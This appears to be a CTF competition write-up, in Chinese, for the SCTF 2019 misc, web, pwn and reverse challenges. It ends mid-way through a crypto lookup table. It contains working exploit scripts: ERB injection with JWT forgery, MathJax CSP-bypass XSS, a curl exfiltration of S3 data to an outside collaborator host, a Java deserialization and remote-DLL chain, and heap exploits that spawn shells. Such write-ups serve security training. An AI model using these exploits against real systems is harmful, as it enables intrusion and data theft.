出题人: XXX 解题人数: 260 最终分数:71
...
给了个图片的base64编码,某些浏览器可能渲染会截断,本来想放hint提示浏览器问题,但是直接被秒了就没放hint了,这里可能有点小坑,后端上题目的时候并没有挤在一行,结果到了题目界面却挤到一行了...这里直接快速三击三下url即可选中,复制到地址栏扫码关注公众号,然后输入cat /flag即可
出题人:xxx 解题人数:75 最终分数:212
一直往前
出题人: Kkdlong 解题人数: 27 最终分数: 434
关于树的直径(最长路径)的证明可以看:https://www.cnblogs.com/wuyiqi/archive/2012/04/08/2437424.html
#处理html部分
from bs4 import BeautifulSoup
from collections import deque
import re
with open("Maze.html", "r") as file:
html_doc = file.read()
soup = BeautifulSoup(html_doc, 'html.parser')
lattice = soup.find_all('td')
pattern = re.compile(r'border-([a-z]+):')
maze = []
for j in range(100):
temp1 = []
for i in range(j * 100, j * 100 + 100):
temp = ""
result = pattern.findall(str(lattice[i]))
print(result)
if 'top' not in result:
temp += "u"
if 'bottom' not in result:
temp += "d"
if 'right' not in result:
temp += "r"
if 'left' not in result:
temp += "l"
temp1.append(temp)
maze.append(temp1)
#bfs部分,参考Nu1l师傅的脚本,更加简洁
move = {'u': (-1, 0), 'd': (1, 0), 'l': (0, -1), 'r': (0, 1)}
queue = deque()
queue.append(((0, 0), 0))
visited = []
ans = 0
ansv = ()
while queue:
v, res = queue.popleft()
if res > ans:
ans = res
ansv = v
if v not in visited:
visited.append(v)
for adj in maze[v[0]][v[1]]:
queue.append(((v[0] + move[adj][0], v[1] + move[adj][1]), res + 1))
print(ansv, ans)
从(0,0)开始寻得一端点为(80,92),(0,0)替换为(80,92)找到另一端点为(70,21),迷宫最长路径即为4056
flag:sctf{9529fbba677729d3206b3b9073d1e9ca}
出题人: D0glrq & GX1000 解题人数: 19 最终分数: 526
首先用Universal radio hacker打开该文件,电动车的固定码基本都为ask调制。查看PT226X与PT224X可知:在226x
中不可能出现10这种情况,故只可能是PT224X,再查协议手册,可知地址位长度为20bit,后4位为数据位,填入即可。
出题人:evoA 解题人数:10 最终分数:689
扫robots.txt发现源码泄露,访问/filebak得到源码,/work路由有个功能模糊的正则匹配功能,猜测做题会用到
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
然后这里存在一个erb模版注入
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
参考https://www.anquanke.com/post/id/86867
但是只能输入7个字符,除去<%==>只有两个字符可以利用,这时可以利用ruby全局变量$&,可以获得上一次正则匹配的结果,结合上面那个模糊的公就可以爆破JWT secret伪造jkl购买flag即可
exp:
#python 3
import requests
import jwt
import base64
# pip install PyJWT
dic = "0123456789abcdefghijklmnopqrstuvwxyz"
secret = ""
host = "http://47.110.15.101"
authUrl = host+"/api/auth"
workUrl = host+"/work"
shopUrl = host+"/shop"
req = requests.session()
# 获取身份
req.get(authUrl)
die = False
for i in range(50):
if die:
break
for j in dic:
url = workUrl + "?SECRET=" + secret + j + "&" + "name=<%25=$%26%25>" + "&" + "do=<%25=$%26%25> is working"
res = req.get(url)
#print(res.text)
if secret + j in res.text:
secret += j
print(secret)
break
else:
if j == "z":
die = True
break
continue
die = False
for i in range(50):
if die:
break
for j in dic:
url = workUrl + "?SECRET=" + j + secret + "&" + "name=<%25=$%26%25>" + "&" + "do=<%25=$%26%25> is working"
res = req.get(url)
if j + secret in res.text:
secret = j+secret
print(secret)
break
else:
if j == "z":
die = True
print("get! this is SECRET: "+secret)
break
continue
mycookie = req.cookies.get("auth")
print(mycookie)
mysecret = jwt.decode(mycookie,secret, algorithm='HS256')
mysecret['jkl'] = 10000000000000000000000000000
mycookie = jwt.encode(mysecret,secret,algorithm='HS256')
mycookie = str(mycookie, encoding='ascii')
req.cookies.clear()
req.cookies.set("auth",mycookie)
res = req.post(shopUrl)
# req.cookies.pop(0)
flag = req.cookies.values()[1].split(".")[1].encode(encoding='utf-8')
flag += (len(flag) % 4) * b"="
flag = base64.b64decode(flag)
print(flag)
#print(req.cookies.values())
# flag = jwt.decode(flag,secret, algorithm='HS256')
#
# print(flag)
出题人:u2400 解题人数:15 最终分数:588
第一题本属于简单题, 但是无奈大部分师傅都想得太过麻烦. 使用我本来为第二题预留的思路做出了第一道题, 造成了两道题同解的情况.
首先打开题目, 提示中明确指出了存在 CSP
和 DOMpurify
, 发现开头为 hello challenge
, 发现get有一个参数为 name=challenge
测试会发现这里没有任何过滤但是碍于 CSP
所以无法执行js.
翻阅 mathjax
的文档在 configuration.html 关注到有这样一种配置文件的写法
<script type="text/x-mathjax-config">
MathJax.Hub.Config({
extensions: ["tex2jax.js"],
jax: ["input/TeX", "output/HTML-CSS"],
tex2jax: {
inlineMath: [ ['$','$'], ["\\(","\\)"] ],
displayMath: [ ['$$','$$'], ["\\[","\\]"] ],
processEscapes: true
},
"HTML-CSS": { fonts: ["TeX"] }
});
</script>
<script type="text/javascript" src="path-to-MathJax/MathJax.js">
</script>
很容易看出, 这段js有一个奇怪的地方在 MathJax.js
被加载之前, 是不会有 MathJax
这个对象的, 更不会有 Hub
属性, 这个js执行必然是失败的, 但是却没有报错, 简单调试就会发现, MathJax
直接 eval 了这个配置文件, 所以调用里面的js的时机是在加载 MathJax.js
时.
所以只需要构造一个 type="text/x-mathjax-config"
的 script
标签就可以绕过CSP执行任意的js代码.
payload:
name=</script><script type%3d"text/x-mathjax-config">YOU_PAYLOAD
出题人:u2400 解题人数:14 最终分数:606
这道题的思路是发现mathjax的功能大多都是动态加载的, 需要什么功能就再去加载什么功能, 但是每一次加载后续的静态文件的地址总是加载mathjax.js的域名下的某个目录.
调试发现mathjax会用正则匹配的方式获取第一次加载自己的地址, 放入root属性中, 后续的js也会从这个地址加载, 所以只要可以修改这个root属性便可以引入任意ip的静态文件. 由于 CSP 中有放置 'strict-dynamic'
标志. 所以可以直接使用自己的VPS引入外部的js, 将payload放在自己VPS根目录下的config文件夹中, 命名为 TeX-MML-AM_CHTML.js
payload:
name=%0aMathJax[%27root%27]%3d"http://xxx.xxx.xxx.xxx"
出题人:xxx 解题人数:18 最终分数:540
- Vue 调试
- AWS Lambda + S3
页面为一个登陆页面,尝试登陆无果。
查看页面源码,Vue 的页面,分析源码。
2个路由信息:
可以看到存在 /main
路由,同时需要登陆验证,验证方式是读取 store.state
的 login 值。
可以有多种方式绕过,随意修改一处进行绕过:
打包功能存在 命令注入
,注入点为我们可控的库名。(扩展:如果可以,应该可以使用自己的 npm 包,在 package.json
的 script
字段 postinstall
注入语句,一血师傅使用的此种方法。题目来源的实际环境是不存在直接命令注入,但存在此种攻击方式。)
读取环境变量值:
在环境变量中发现是 AWS Lambda
,从中读取主文件地址 LAMBDA_TASK_ROOT:/var/task
,入口文件index.handler
即 index.js
,所以入口文件地址为 /var/task/index.js
读取文件:
可以看到在上传 AWS S3
服务的配置,省去了 accessKeyId,secretAccessKey
,判断 lambda 执行角色至少具有 S3
上传服务权限。
两种方法:
第一种是读取到环境变量配置,将下面三个变量配置到本地环境变量中:
然后直接使用 awscli
来本地执行 aws s3 ls
等操作读取 flag。
第二种是使用 Lambda
本身的环境来执行相应的代码来读取 flag ( Lambda
环境本身没有 awscli
)
node -e "var AWS = require('aws-sdk');var s3 = new AWS.S3();var params = {Bucket: 'sctf',Key:'flaaaaaaaaag/flaaaag.txt'};s3.getObject(params, function(err, data) {require('child_process').execSync('curl https://m5s3e9c35n2r5idoco10l5urnit9hy.burpcollaborator.net/sctf?'+escape(data.Body.toString()))});"
出题人:Jaylin 解题人数:0 最终分数:1000
题目给了一个webshell,弱密码直接进去。
Tomcat启用了_Java Security Manager_,webshell基本所有功能无法正常使用,但是可以查看有限的几个目录文件,无写权限。
如果顺利,应该可以收集到以下信息:
- cookie处存在反序列化的点,有反序列化漏洞。
- 查看lib目录,存在 commons-collections 3.1 gadget。
- 找到
catalina.policy
文件,是Tomcat默认的安全策略配置文件,这应该是本题可能有点脑洞的地方,因为没有给C:/babyEoP/apache-tomcat-8.5.42
的读权限,所以无法列目录,但是conf
目录是可读的。(有将近10位选手读到了这个文件hhhh。)
我在官方提供的catalina.policy
的基础上,做了一些修改。给了 LoadLibrary 、 createClassLoader、 accessDeclaredMembers 几个重要权限。
分析 policy ,应该很容易可以想到,要通过 JNI 绕过 Java Security Manager。但是 JNI 需要加载一个 dll 动态链接库,由于并没有给任何写权限,所以是不可能上传 dll 的。
并且,webshell 的 Eval Java Code
使用时,需要向当前目录写一个 tmp.jsp
文件,所以也是不能用的(不要想着用这个执行代码)。
那么该如何才能执行代码来加载一个不在本地的dll呢?
下面是具体的解题思路:
题目已经给了反序列化的点以及gadget,可以通过这个来执行代码。
ysoserial 的 commons-collections 利用链提供了几个直接执行命令的 gadget,但是都是基于 Runtime.exec 的,并没有给这个权限。So 想要直接利用是不行的。
但是直接用 gadget 构造出加载dll可能比较困难,所以这里可以利用稍微高级一点的方法——加载外部的jar来执行代码。
下面要加载 dll,用 JNI 绕 JSM。
同样因为没有写权限,且 dll 无法一起打包到 jar 里,所以要从网络上加载 dll。
这里利用 System.load
的一个特性——可以使用 UNC 路径,加载远程的 dll。
为什么可以使用 UNC 呢?来看下 System.load 的调用过程。
- System.load
调用了 Runtime.getRuntime().load0
- Runtime.getRuntime().load0
在这里会判断 filename 是否是一个绝对路径,如果不是就直接抛出异常,是就进一步加载。
- File.isAbsolute
再看看 File 是如何判断是否是绝对路径的。
根据描述,linux下要求以 /
开头。windows下,要求以盘符或者 \\\\
开头。
emm 综上,所以这里可以使用 UNC 路径。
下面是另一个坑,UNC 默认是走 445 端口的,如果没有特殊情况,公网上都是屏蔽了这个端口的。
这里利用 windows 一个特性,在开启了 webclient 服务的情况下,UNC 访问 445 失败时,会尝试访问目标服务器80端口的 webdav 去加载资源 (‾◡◝), 这一点 hint 已经提示过了。
R.java
public class R {
static {
System.load("\\\\xxx.xxx.xxx.xxx\\JNI.dll");
}
public static native void exec(String cmd);
public R(String cmd) {
exec(cmd);
}
}
执行命令
javac R.java
jar cvf R.jar R.class
将打包的 R.jar 放到服务器上的 web 服务下。
#ifdef __cplusplus
extern "C" {
#endif
JNIEXPORT void JNICALL Java_R_exec
(JNIEnv *, jclass, jstring);
#ifdef __cplusplus
}
#endif
#endif
#include "R.h"
#include<stdlib.h>
JNIEXPORT void JNICALL Java_R_exec
(JNIEnv *env, jclass clazz, jstring str) {
char* cmd= (char*)env->GetStringUTFChars(str,JNI_FALSE);
system(cmd);
env->ReleaseStringUTFChars(str,cmd);
}
编译成 dll,放到服务器的 webdav 服务下。
用 https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java 构造序列化 payload,贴到 cookie 里打一发,完事儿~
出题人:0xd5f 解题人数:0 最终分数:1000
程序存在一个结构体用于保存信息记录
struct
{
char *username;
int password;
char *introduction;
void (*state)(const char *);
} record;
先说三个函数逻辑
registered()
用于初始化record结构体
profile()
用于打印username
和introduction
login()
用于验证username
和password
并通过state
函数指针返回登录成功或失败的状态信息
因为程序存在Z_envZ__emscripten_run_scriptZ_vi
,只需要改变state即可,但是如果成功调用,还需要泄露出password
其中profile()
存在一个溢出漏洞和一个格式化字符串漏洞,通过溢出,我们可以控制任意写的地址,然后再leak出password
即可,许多payload的细节可以调试知道
不过带师傅们好像更热衷于ddos,Orz
exp
import requests
url = 'http://47.104.89.129:23333/'
registered = url + 'registered'
profile = url + 'profile'
login = url + 'login'
username = 'username'
password = 'password'
introduction = 'introduction'
payload = ''
payload += 'A'*7
payload += '''
const exec=require("child_process").exec;
exec("cat flag", function(error,stdout,stderr){process.stdout.write(stdout);});
'''.ljust(0x7f, ' ')
payload += '//\x3C\x0D\x00'
params = {
username: '%2$0141d%1$n',
introduction: payload
}
requests.get(registered, params=params)
req = requests.get(profile)
passwd = req.text.lstrip('Welcome, ').rstrip('Your introduction: AAAAAAA')
params = {
username: '%2$0141d%1$n',
password: passwd
}
requests.get(login, params=params)
出题人:zoniony 解题人数:11 最终分数:666
- tcache perthread corruption
- attack stdout leak libc base
- hijack free hook
- getshell
Brute-force attack:1/256 just a few minutes XD
from pwn import *
context.log_level = "debug"
bin = ELF("one_heap")
#libc = bin.libc
libc = ELF("libc-2.27.so")
def Debug(cmd=""):
gdb.attach(p)
#pause()
def add(size,content):
p.sendlineafter("choice:", "1")
p.sendlineafter("size:", str(size))
p.sendlineafter("content:", content)
def delete():
p.sendlineafter("choice:", "2")
def pwn(p):
add(0x40,"")
delete()
delete()
add(0x40,"\x10\x70")
add(0x40,"")
add(0x40,p64(0)*4+p64(0x0000000007000000))
delete()
add(0x40,"")
add(0x18,p16(0x2760))
#Debug()
payload = ""
payload += p64(0xfbad3c80) #_flags= ((stdout->flags & ~ _IO_NO_WRITES)|_IO_CURRENTLY_PUTTING)|_IO_IS_APPENDING
payload += p64(0) #_IO_read_ptr
payload += p64(0) #_IO_read_end
payload += p64(0) #_IO_read_base
payload += "\x08" # overwrite last byte of _IO_write_base to point to libc address
add(0x38,payload)
libc.address = u64(p.recv(6)+'\x00\x00')-0x3ed8b0
success("libc.address-->"+hex(libc.address))
add(0x18,p64(0)+p64(libc.sym["__free_hook"]-8))
add(0x7f,"/bin/sh\x00"+p64(libc.sym["system"]))
delete()
p.interactive()
while True:
try:
p = bin.process(env={"LD_PRELOAD":libc.path})
pwn(p)
except Exception as e:
p.close()
出题人:0xd5f & zoniony 解题人数:7 最终分数:769
先给师傅们说声对不起,由于上线前临时改动了一下,文件的ld路径是我测试环境的,忘记修改了导致师傅们运行不起来
这道题的本意是想考察libc2.26中malloc存在的负数溢出的漏洞,
# glibc2.26/malloc/malloc.c 1226
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
当req在区间[-0x10,0]时存在溢出,可以申请到0x20的chunk,因此可以申请到0x20size的chunk有-0x10
,0
,0x10
⬇️以下内容可以不看
这里啰嗦几句,本来的size是0x10
对齐,为了防止负数导致堆溢出所以不能向chunk中写数据,但是又必须要完成两次写(一次hook,一次onegadget),所以想了两个办法解决:第一种就是把0x10
对齐改成0x8
对齐,这样0x10和0x18
都可以写数据,第二种是把read
的size写死成固定值.emmm可能题出到晚上2点多脑子抽了选了第一种方案,遗漏了0x8,没能让师傅们体验到高质量的题目十分抱歉
预期解exp如下
#!/usr/bin/env python2
from pwn import *
context(log_level='debug', arch='amd64', os='linux', aslr=True, terminal=['tmux', 'splitw', '-h'])
exe = './two_heap'
lib = '/opt/glibc/libc226/lib/libc-2.26.so'
ip = '47.104.89.129'
port = 10002
elf = ld(exe, lib)
libc = ELF(lib) if lib else elf.libc
def dbg(script=''):
attach(io, gdbscript=script)
# ------------------------------------------------
def choice(idx):
io.recvuntil('Your choice:')
io.sendline(str(idx))
def new(size, note):
choice(1)
io.recvuntil('Input the size:')
io.sendline(str(size))
if size > 0:
io.recvuntil('Input the note:')
io.send(note)
def delete(idx):
choice(2)
io.recvuntil('Input the index:')
io.sendline(str(idx))
# ------------------------------------------------
LOCAL = 0
name = '%a'*3
base_offset = 0x1af720
hook_offset = 0x1aec10
one_gadget = [0x45e0a, 0x45e5e, 0xe361b]
def exp():
io.recvuntil(':')
io.sendline(name)
io.recvuntil('0x0p+00x0p+00x0.0')
libc.address = int(io.recv(11)+'0', 16) - base_offset
log.info(hex(libc.address))
new(0, '')
delete(0)
delete(0)
delete(0)
delete(0)
delete(0)
new(0x10, p64(libc.address+hook_offset)+'\n')
new(-8, '')
new(0x18,p64(libc.address+one_gadget[2])+'\n')
choice(1)
io.recvuntil('Input the size:')
io.sendline(str(0x20))
io.sendline('cat flag')
io.recv()
io.interactive()
# ------------------------------------------------
if __name__ == '__main__':
if LOCAL:
io = elf.process(env={"LD_PRELOAD":libc.path})
else:
io = remote(ip, port)
exp()
出题人:xxx 解题人数:12 最终分数:645
备注:引用kn0ck的wp
这个pwn题漏洞很明显,在0xe2d处,看⻅该读函数存在⼀字节溢出,该字节为0。
unsigned __int64 __fastcall some_read_nterm_0end(char *dst, unsigned __int64 len)
{
char buf; // [rsp+13h] [rbp-Dh]
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; i < len; ++i )
{
if ( read(0, &buf, 1uLL) <= 0 )
{
perror("Read failed!\n");
exit(-1);
}
if ( buf == 10 )
break;
dst[i] = buf;
}
if ( i == len )
dst[i] = 0;
return __readfsqword(0x28u) ^ v5;
}
结合程序本身,只有程序基地址的泄露,以及mmap分配的可读/写/执⾏段的地址,没有libc或者堆栈地
址。由此⼤致可猜测这个是需要最终执⾏shellcode的。
⾸先可以使⽤⼀字节溢出进⾏unlink攻击,由此获取任意写的能⼒,将shellcode写⼊mmap段,然后就需
要考虑如何劫持控制流。
由于给的libc是2.23版本,该版本是没有对IO_File结构体的vtable进⾏检查的,所以这个可以通过篡改
unsorted bin的bk指针⾄ IO_list_all-0x10处,导致_IO_list_all被篡改,最终进⾏⼀个经典的⽂件结构体伪
造,vtable即指向我们可控的程序段,⾥⾯则写上mmap段地址,当出现堆错误打印信息时,即可触发。
from PwnContext import *
if __name__ == '__main__':
context.terminal = ['tmux', 'split', '-h']
context.log_level = 'debug'
#-----function for quick script-----#
s = lambda data :ctx.send(str(data)) #in case that data is a int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
st = lambda delim,data :ctx.sendthen(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
leak = lambda address, count=0 :ctx.leak(address, count)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './easy_heap'
ctx.remote = ('132.232.100.67', 10004)
ctx.custom_lib_dir = '/root/share/project/glibc-all-in-one/libs/2.23-0ubuntu11_amd64'
#ctx.remote_libc = './libc.so.6'
ctx.debug_remote_libc = True
ctx.symbols = {
'lst':0x202060,
'cnt':0x202040,
}
def add(size):
sl(1)
sla('Size', size)
ru('Address ')
addr = int(ru('\n'), 16)
return addr
def free(idx):
sl(2)
sla('Index', idx)
def fill(idx, content):
sl(3)
sla('Index', idx)
sa('Content', content)
while True:
try:
rs('remote')
#ctx.debug(gdbscript='c')
ru('Mmap: ')
mmap_addr = int(ru('\n'), 16)
prog_base = add(0xf8) - 0x202068
add(0xf0)
add(0x20)
target = prog_base+0x202068
payload1 = p64(0) + p64(0xf1)
payload1 += p64(target-0x18) + p64(target-0x10)
payload1 = payload1.ljust(0xf0, '\0')
payload1 += p64(0xf0)
fill(0, payload1)
#unlink
free(1)
def vuln_write(addr, content):
payload = p64(0) + p64(0)
payload += p64(0xf8) + p64(prog_base+0x202050)
payload += p64(0x1000) + p64(addr)
fill(0, payload + '\n')
sleep(0.5)
fill(1, content + '\n')
vuln_write(mmap_addr, asm(shellcraft.sh()))
add(0x20)
payload2 = p64(0) + p64(0)
payload2 += p64(0xf8) + p64(prog_base+0x202050)
payload2 += p64(0) + p64(0)
RE
payload2 += p64(0) + p64(0)
payload2 += p64(8) + '\x48'
fill(0, payload2 + '\n')
fill(3, '\x61\x00\n')
payload3 = p64(0) + p64(0)
payload3 += p64(0xf8) + p64(prog_base+0x202050)
payload3 += p64(0) + p64(0)
payload3 += p64(0) + p64(0)
payload3 += p64(8) + '\x58'
fill(0, payload3 + '\n')
fill(3, '\x10\x75\n')
payload4 = p64(0) + p64(0)
payload4 += p64(0xf8) + p64(prog_base+0x202050)
payload4 += p64(0) + p64(0)
payload4 += p64(0) + p64(0)
payload4 += p64(0x1000) + '\x60'
fill(0, payload4 + '\n')
fake_vtable = prog_base + 0x202070
payload5 = p64(2) + p64(3)
payload5 = payload5.ljust(0xb8,'\x00')
payload5 += p64(fake_vtable)
fill(3, payload5 + '\n')
payload6 = p64(0) + p64(0)
payload6 += p64(0xf8) + p64(prog_base+0x202050)
payload6 += p64(mmap_addr) * 8
fill(0, payload6 + '\n')
#now trigger
sleep(0.1)
sl(1)
sla('Size', 1)
sleep(0.1)
if ctx.connected():
irt()
except EOFError:
pass
出题人:0x指纹 解题人数:12 最终分数:645
app 打开后会播放《早春的树》,播放完后才能输入 flag,若错误需要重新听歌,可将 app 入 口活动改为 Main2Activity,即可直接输入 flag。
MainActivity 播放歌曲,进入 Main2Activity 点击按钮后会启动和绑定一个服务,即类 s。
类 s 中的 a 方法是进行 md5 加密。方法是查询 sctf.db 返回字符串” hellosctf”。方法是变形 的 rc4 加密,对输入进行加密,密钥是 md5 加密”hellosctf”。方法 g 是加密得到的密文和” C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3AhC3A7C29A1654C3AF28C3A1C2B12 15B53”进行对比。
点击按钮后面的过程就是对输入进行变形 rc4 加密,再进行对比。
注意有一个类 p,作用是 Bytes->HexString.toUpperCase(),在 md5 加密后得到的 bytes 和变
形 rc4 加密得到的 String 进行 getBytes()得到的 bytes 都进行了这样的处理。
说一下 rc4 的变形,除了最后的 String 字符串每个字符赋值处的一行代码有改动外,还有就 是对得到的 String 先 getBytes(),然后再 Bytes->HexString.toUpperCase()。 因此在写脚本时候,需要先将对比的字符串进行 HexString->Bytes,接着 String(Byte[])得到 String,然后即可正常进行 rc4 解密。
当然 rc4 是流加密,还可以进行爆破。
出题人:0xE4s0n 解题人数:28 最终分数:425
在AndroidManifest中发现程序主活动与包名不同
并且自定义了Application
发现重写了attachBaseContext方法从Assets文件夹取出"data"文件加载为apk
而加载时又对文件进行了解密操作
又在oncreate方法中通过反射动态加载了解出的apk的activity
本来解密后的apk是从/data/data/sctf.hello被删除了的
由于出题组疏忽放错了题目,没有删除可以直接copy出来
下面讲一讲删除后怎么做
看懂代码后 只需要将data文件取出进行解密
在壳程序将源程序加载到data目录后,反射启动源程序前,下断点
即可在/data/data/sctf.hello文件夹下copy出源程序
利用内存dump工具将加载到内存的源程序dump出来,例如GG修改器
源程序对输入的字符进行了分隔
前半部分进行了base64加密
import base64
import sys
str1 = "c2N0ZntXM2xjMG1l"
str2 = "~8t808_8A8n848r808i8d8-8w808r8l8d8}8"
j = 0
sys.stdout.write(base64.b64decode(str1))
for i in str2:
if j % 2 == 0:
sys.stdout.write(i)
j += 1
flag:sctf{W3lc0me~t0_An4r0id-w0rld}
出题人:xxx 解题人数:5 最终分数:833
1.正常逆向得解密算法。
2.解密。Net得解密算法
出题人:0xpoker 解题人数:0 最终分数:1000
备注: python加密脚本
import os
import sys
import struct
big_box = [0x16A7ACAC, 0x47B82F2F, 0xAE316666, 0x89F10101, 0x9A084545, 0xFD985252, 0x3562CCCC, 0x3FDE7575, 0x56F7DCDC, 0x7532BCBC, 0x4FB22121, 0x9359A4A4, 0x03ED5858, 0xB896CACA, 0x3D68C2C2, 0xE26E1F1F, 0xFA700D0D, 0xAF6A8989, 0xEF3AF9F9, 0x67901717, 0xB7749B9B, 0x04050707, 0xA7608787, 0xED8C4E4E, 0x44557777, 0xECD7A1A1, 0xCF12C1C1, 0xF5925C5C, 0xBA207D7D, 0x53A93434, 0x1FF64D4D, 0x88AAEEEE, 0xC4F59797, 0x0ABCB9B9, 0xA48DDFDF, 0x6929A9A9, 0xF4C9B3B3, 0x5C4B6565, 0xDE5D3232, 0x0BE75656, 0x02B6B7B7, 0xB62F7474, 0xF321ECEC, 0x76DFE4E4, 0xEE611616, 0x2A948181, 0xC31DC8C8, 0x6F9A1919, 0x0EB9BEBE, 0xD4E18B8B, 0xF99D5555, 0x63951010, 0x551A8484, 0xB9CD2525, 0xC5AE7878, 0x07E85F5F, 0x8E195E5E, 0x368F9494, 0x1945FDFD, 0xE730F7F7, 0xBF7E9595, 0xC8FA9E9E, 0x2E918686, 0x4EE9CECE, 0x34392323, 0xF8C6BABA, 0x7D38B2B2, 0x38362A2A, 0x85FE0808, 0xF0CCB4B4, 0x43BD2828, 0x50446C6C, 0xCA4C2929, 0xB499C3C3, 0xE9894949, 0xD70CD3D3, 0xD0E48C8C, 0x055EE8E8, 0x3167CBCB, 0x6C774141, 0x181E1212, 0x450E9898, 0xF724EBEB, 0xDF06DDDD, 0x9DE01A1A, 0xBB7B9292, 0xCE492E2E, 0xB5C22C2C, 0x5AF8D5D5, 0x4D049696, 0x1D40FAFA, 0xCDA47676, 0x6B9F1E1E, 0x80A0E0E0, 0x8DF40606, 0xD9B56D6D, 0x96074C4C, 0x95EA1414, 0xA63B6868, 0x52F2DBDB, 0x647D4F4F, 0x92024B4B, 0x13F94444, 0xD5BA6464, 0x9B53AAAA, 0xE4DDAFAF, 0xC6432020, 0x12A2ABAB, 0x9F56ADAD, 0xB3719C9C, 0xBDC82222, 0xA3658080, 0x6D2CAEAE, 0x242D3F3F, 0x303C2424, 0xD2523B3B, 0x6EC1F6F6, 0x81FB0F0F, 0xAA346161, 0x14111B1B, 0x3C332D2D, 0x62CEFFFF, 0x82165757, 0xA9D93939, 0x114FF3F3, 0x3A809D9D, 0x975CA3A3, 0x706C5454, 0xA5D63030, 0x5FA63D3D, 0x49019191, 0x00000000, 0x584E6262, 0x74695353, 0x9CBBF5F5, 0x2BCF6E6E, 0xE335F0F0, 0x8CAFE9E9, 0x72DAE3E3, 0x37D47B7B, 0xA1D33737, 0x834DB8B8, 0x73810C0C, 0x1C1B1515, 0x2979D9D9, 0xAC87D1D1, 0xDA583535, 0x6526A0A0, 0x5D108A8A, 0x4AECC9C9, 0xA882D6D6, 0x5EFDD2D2, 0xDDB06A6A, 0xBC93CDCD, 0x10141C1C, 0xB1C72B2B, 0x4BB72626, 0x28223636, 0x3E859A9A, 0xBE257A7A, 0x86135050, 0x06B3B0B0, 0x2576D0D0, 0xEB3FFEFE, 0x8F42B1B1, 0xE8D2A6A6, 0xB09CC4C4, 0x0FE25151, 0x4C5F7979, 0x7137BBBB, 0x60784848, 0x2D7CDEDE, 0xF27A0303, 0x40507070, 0x015BEFEF, 0x0C0F0909, 0x7F8E0505, 0x229E8F8F, 0x328A9393, 0x77840B0B, 0xFCC3BDBD, 0x17FC4343, 0xD6573C3C, 0xE5864040, 0x7AD0EDED, 0x6123A7A7, 0xDCEB8585, 0x33D17C7C, 0x2FCA6969, 0xFB2BE2E2, 0x2173D7D7, 0x78665A5A, 0x0951E1E1, 0x0D54E6E6, 0x94B1FBFB, 0x1AA8A5A5, 0x2C273131, 0x8A1C5959, 0x269B8888, 0xEA641111, 0x7ED5EAEA, 0x1BF34A4A, 0x3BDB7272, 0x1EADA2A2, 0xA23E6F6F, 0xF1975B5B, 0x42E6C7C7, 0x54416B6B, 0x66CBF8F8, 0x90B4FCFC, 0xFF2EE5E5, 0x6AC4F1F1, 0xC2462727, 0xA088D8D8, 0xC9A17171, 0xCCFF9999, 0x7C635D5D, 0x59158D8D, 0xE66B1818, 0x396DC5C5, 0x23C56060, 0x84A5E7E7, 0xAB6F8E8E, 0xE1834747, 0x57AC3333, 0xB22A7373, 0x8B47B6B6, 0xFE750A0A, 0x20283838, 0xCB17C6C6, 0xADDC3E3E, 0x511F8383, 0xE0D8A8A8, 0xF67F0404, 0x793DB5B5, 0x154AF4F4, 0x68724646, 0x99E51D1D, 0x7B8B0202, 0xC718CFCF, 0x46E3C0C0, 0x485A7E7E, 0x98BEF2F2, 0xD8EE8282, 0x410B9F9F, 0x9E0D4242, 0xC0F09090, 0x080A0E0E, 0xDB03DADA, 0x27C06767, 0x5BA33A3A, 0xD309D4D4, 0x8748BFBF, 0xC1AB7F7F, 0x91EF1313, 0xD1BF6363, 0x9B9B74B7, 0x3131272C, 0xB6B6478B, 0x94948F36, 0x77775544, 0x29294CCA, 0x7E7E5A48, 0xEDEDD07A, 0x4444F913, 0x59591C8A, 0x8D8D1559, 0xE4E4DF76, 0x07070504, 0x9D9D803A, 0xC2C2683D, 0x2626B74B, 0x19199A6F, 0xB5B53D79, 0xA6A6D2E8, 0x8C8CE4D0, 0xDDDD06DF, 0x50501386, 0x05058E7F, 0x6767C027, 0x0D0D70FA, 0xD6D682A8, 0xEAEAD57E, 0xADAD569F, 0x53536974, 0x7D7D20BA, 0x6969CA2F, 0x7575DE3F, 0x161661EE, 0xDBDBF252, 0xD0D07625, 0xFEFE3FEB, 0x98980E45, 0xBDBDC3FC, 0xCFCF18C7, 0xBFBF4887, 0xA2A2AD1E, 0x04047FF6, 0x23233934, 0x4A4AF31B, 0x92927BBB, 0x10109563, 0xA3A35C97, 0xA4A45993, 0x24243C30, 0xF7F730E7, 0x4E4E8CED, 0x0808FE85, 0x6060C523, 0x3D3DA65F, 0x5D5D637C, 0x6A6AB0DD, 0x616134AA, 0x73732AB2, 0xE3E3DA72, 0x2B2BC7B1, 0x3939D9A9, 0xE7E7A584, 0x91910149, 0x38382820, 0xBCBC3275, 0xCDCD93BC, 0xFDFD4519, 0x5656E70B, 0xF9F93AEF, 0xB2B2387D, 0x65654B5C, 0x8F8F9E22, 0x494989E9, 0x5B5B97F1, 0x525298FD, 0x2C2CC2B5, 0x8686912E, 0xCACA96B8, 0x0B0B8477, 0x7C7CD133, 0x32325DDE, 0x3B3B52D2, 0xFAFA401D, 0x5C5C92F5, 0x00000000, 0x5F5FE807, 0xCBCB6731, 0xD7D77321, 0x2A2A3638, 0x7878AEC5, 0xCCCC6235, 0x6C6C4450, 0xABABA212, 0x4141776C, 0x3A3AA35B, 0xE2E22BFB, 0xDCDCF756, 0x36362228, 0x7A7A25BE, 